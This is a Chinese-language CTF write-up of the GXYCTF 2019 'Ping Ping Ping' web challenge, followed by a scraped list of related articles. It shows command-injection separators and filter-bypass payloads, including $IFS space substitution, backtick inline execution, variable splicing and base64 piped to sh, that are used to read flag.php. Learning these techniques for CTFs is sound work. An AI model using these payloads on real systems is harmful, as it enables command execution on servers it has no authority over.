[GXYCTF 2019]Ping Ping Ping

article/2025/8/19 2:39:38

前言

之前没总结过关于命令执行的绕过姿势,借着今天做的这个命令执行的题目来总结一下。

先看题目

题目

题目很单一,目的就是为了让我们通过参数传入内容来执行代码。因为题目是与ping有关,当我们输入127.0.0.1时,它会进行ping命令操作。

一般根据ping命令相关的命令执行,正常情况有五种写法

127.0.0.1&&+code  只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code  &表示将任务置于后台执行
127.0.0.1||+code  只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code  | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code  多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

而本题就是要用到第五种。输入127.0.0.1;whoami 它会回显出用户名www-data,说明命令执行成功。接着用ls命令查看当前目录文件,输入命令127.0.0.1;ls

发现当前目录下有flag.php和index.php。我们试着读取index.php文件的源码,看看它都过滤了什么。试了很多次,发现你过滤了空格。

绕过空格

其实我们可以用一些字符来代替空格,windows系统与linux系统有些差异。

Windows

type.\flag.txt
type,flag.txt
echo,123456

linux

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat$IFS$1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

其实windows系统的命令不太常用,赛题中也很少出现。这题也不例外。这道题中我们可以使用

$IFS$1来代替空格,使用cat命令来查看index.php文件的源码。

发现它过滤了很多东西 包括一些字符还有整个flag。

内联执行

在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用cat$IFS$1`ls`  这个命令来输出flag了。

查看源代码内容就可以找到flag。

 变量拼接

看了师傅们的WP后,知道可以使用变量拼接的方法来绕过flag这个关键字。

让变量a=ag,让变量b=fl,payload:

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

变量拼接也是绕过正则过滤的一个有效的方法。

Base64编码

正如我们可以将过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。

payload:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

管道符|是直接执行后面的语句。

单双引号绕过

虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如

ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。

反斜线绕过

大同小异

ca\t fl\ag

$1、$2等和 $@绕过

大概的形式就是l$1s   ca$2t fl$@ag等等。

这种好像是shell编码的相关知识,目前还不太理解其原理。等以后再慢慢弄懂。

结语

我总结的只是冰山一角,更多绕过姿势等以后再慢慢总结。

膜拜大佬:命令执行漏洞利用及绕过方式总结 - ghtwf01 - ghtwf01


http://chatgpt.dhexx.cn/article/WEvwu2d0.shtml

相关文章

[GXYCTF2019]Ping Ping Ping(命令执行)

命令执行绕过 常见写法 127.0.0.1&&code 只有在 && 左边的命令返回真&#xff08;命令返回值 $? 0&#xff09;&#xff0c;&& 右边的命令才 会被执行。 127.0.0.1&code &表示将任务置于后台执行 127.0.0.1||code 只有在 || 左边的命令返回…

CTF_Web_[GXYCTF2019]Ping Ping Ping

一、题目 Ping Ping Ping 二、靶机信息链接 靶机信息 剩余时间: 10072s http://70284b15-7c4e-4548-8b04-aadbc6e669f5.node4.buuoj.cn:81 三、靶机链接页面 四、 分析 因题目是Ping...再加上靶机页面有“/?ip” 可能是 ping地址&#xff0c;尝试按照所给的内容在url中加…

BUUCTF [GXYCTF2019]Ping Ping Ping easywill

题目地址&#xff1a;BUUCTF在线评测 考点&#xff1a;ping命令相关命令执行 这里过滤了flag和空格 绕过空格可以使用 $IFS$1 使用ls命令查询目录 ?ip127.0.0.1;ls 发现有两个文件&#xff0c;一个是flag.php&#xff0c;另一个是index.php。 cat获取文件内容&#xff…

BUUctf [GXYCTF2019]Ping Ping Ping

根据题目和页面的提示猜测是命令执行漏洞 ;前面和后面命令都要执行&#xff0c;无论前面真假 |直接执行后面的语句 ||如果前面命令是错的那么就执行后面的语句&#xff0c;否则只执行前面的语句 &前面和后面命令都要执行&#xff0c;无论前面真假 &&如果前面为假&a…

BUUCTF——web([GXYCTF2019]Ping Ping Ping、[极客大挑战 2019]Knife、[极客大挑战 2019]Http)

BUUCTF-web [GXYCTF2019]Ping Ping Ping做题思路 [极客大挑战 2019]Knife做题思路 [极客大挑战 2019]Http做题思路 [GXYCTF2019]Ping Ping Ping 做题思路 打开看题目 熟悉的样子&#xff0c;ping本地加查看命令&#xff0c;得到两个php文件 接着查看一下文件内容 奇奇怪…

Buuctf (Web)Ping Ping Ping

文章目录 一.解题步骤二、命令分隔符三.常见绕过方式 一.解题步骤 &#xff08;1&#xff09;页面里显示/?ip,很明显要以ping的形式传一个参数给ip&#xff0c;并且我们要想执行其他命令&#xff0c;就要用命令分隔符也就是管道符连接&#xff0c;命令分隔符可以用";“”…

BUUCTF之Ping Ping Ping

目录 审题 常用的空格绕过方法 解决方法 法一 拼接绕过法 法二 内联执行法 法三 sh编码绕过法 审题 点开链接 根据题目提示随便试试构造payload inurl?ip666 有返回&#xff0c;参数ip的值就是要ping的内容 这里我们知道有Windows和Linux通用的…

BUUCTF【Web】Ping Ping Ping

进入靶场后是一个ping的功能&#xff08;命令执行漏洞&#xff09;&#xff0c;参数ip传递的内容会被当做ip地址进行网络连通性测试。首先测试一下本机地址 首先使用ls命令查看当前路径下有那些文件&#xff0c;拼接符有“&”、“|”、“||”、“&&”、“&#xff…

BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http

目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Ping Ping Ping 启动靶机&#xff0c;构造payload ?ip127.0.0.1 查看同目录下有什么文件 ?ip127.0.0.1;ls 读取flag.php ?ip127.0.0.1;cat flag…

buuctf[GXYCTF2019]Ping Ping Ping

buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip&#xff1f; 应该是提示用get的方式来传参一个地址执行ping的操作 直接ping127.0.0.1 回显ping127.0.0.1的数据 说明是一道命令执行的题目 执行&#xff1a;?i…

xxl-job源码阅读——(六)调度线程与时间轮算法

文章目录 一. 时间对齐二. scheduleThread 调度线程三. ringThread 时间轮&#xff08;算法&#xff09;线程原理源码实现 本章介绍init()最后一个步骤&#xff0c;初始化调度线程。 另外 第六步的JobLogReportHelper.getInstance().start()只是做了一个日志整理收集&#xff0…

时间轮(七)

时间轮 Kafka 中存在大量的延时操作&#xff0c;比如延时生产、延时拉取和延时删除等。Kafka 并没有使用 JDK 自带的 Timer 或 DelayQueue 来实现延时的功能&#xff0c;而是基于时间轮的概念自定义实现了一个用于延时功能的定时器&#xff08;SystemTimer&#xff09;。JDK 中…

java 时间轮算法_时间轮算法(TimingWheel)是如何实现的?

前言 我在2. SOFAJRaft源码分析—JRaft的定时任务调度器是怎么做的&#xff1f;这篇文章里已经讲解过时间轮算法在JRaft中是怎么应用的&#xff0c;但是我感觉我并没有讲解清楚这个东西&#xff0c;导致看了这篇文章依然和没看是一样的&#xff0c;所以我打算重新说透时间轮算法…

Redis之时间轮机制(五)

&#x1f680; 优质资源分享 &#x1f680; 学习路线指引&#xff08;点击解锁&#xff09;知识定位人群定位&#x1f9e1; Python实战微信订餐小程序 &#x1f9e1;进阶级本课程是python flask微信小程序的完美结合&#xff0c;从项目搭建到腾讯云部署上线&#xff0c;打造一…

C++定时器和时间轮

文章目录 定时器最小堆实现定时器 时间轮单层级时间轮多层级时间轮 定时器 有些时候我们需要延迟执行一些功能&#xff0c;比如每10s进行一次数据采集。或者告知用户技能冷却有多少时间&#xff0c;如果我们将执行这些功能的任务交给主线程&#xff0c;就会造成主线程的阻塞。…

简单描述时间轮

时间轮 作用 也是用来作定时器触发任务&#xff0c;只是他更高效&#xff0c;时间复杂度为O(1)。 运行原理 为了方便理解我们参考钟表&#xff0c;它分为3个层次&#xff1a;时、分、秒&#xff0c;只有秒针在运动&#xff0c;走动一格时间为1秒&#xff0c;走一圈为1分钟&…

再谈时间轮

时间轮很早前就很流行了&#xff0c;在很多优秀开源框架中都有用到&#xff0c;像kafka、netty。也算是现在工程师基本都了解的一个知识储备了。有幸在工作中造过两次轮子&#xff0c;所以今天聊聊时间轮。 时间轮是一种高性能定时器。 时间轮&#xff0c;顾名思义&#xff0c…

时间轮原理及其在框架中的应用

一、时间轮简介 1.1 为什么要使用时间轮 在平时开发中&#xff0c;经常会与定时任务打交道。下面举几个定时任务处理的例子。 1&#xff09;心跳检测。在Dubbo中&#xff0c;需要有心跳机制来维持Consumer与Provider的长连接&#xff0c;默认的心跳间隔是60s。当Provider在3…

时间轮分析

背景 在需要完成重试机制或者心跳机制一类的业务&#xff0c;除了使用excutors做定时任务。还可以使用时间轮完成这类需求 分析 使用dubbo中的心跳重试作为案例分析时间轮的使用 源码分析 在HeaderExchangeClient启动的时候调用startHeartBeatTask()开启心跳任务&#xff0…

Netty时间轮

概述 时间轮是一个高性能&#xff0c;低消耗的数据结构&#xff0c;它适合用非准实时&#xff0c;延迟的短平快任务&#xff0c;例如心跳检测。在netty和kafka中都有使用。 比如Netty动辄管理100w的连接&#xff0c;每一个连接都会有很多超时任务。比如发送超时、心跳检测间隔等…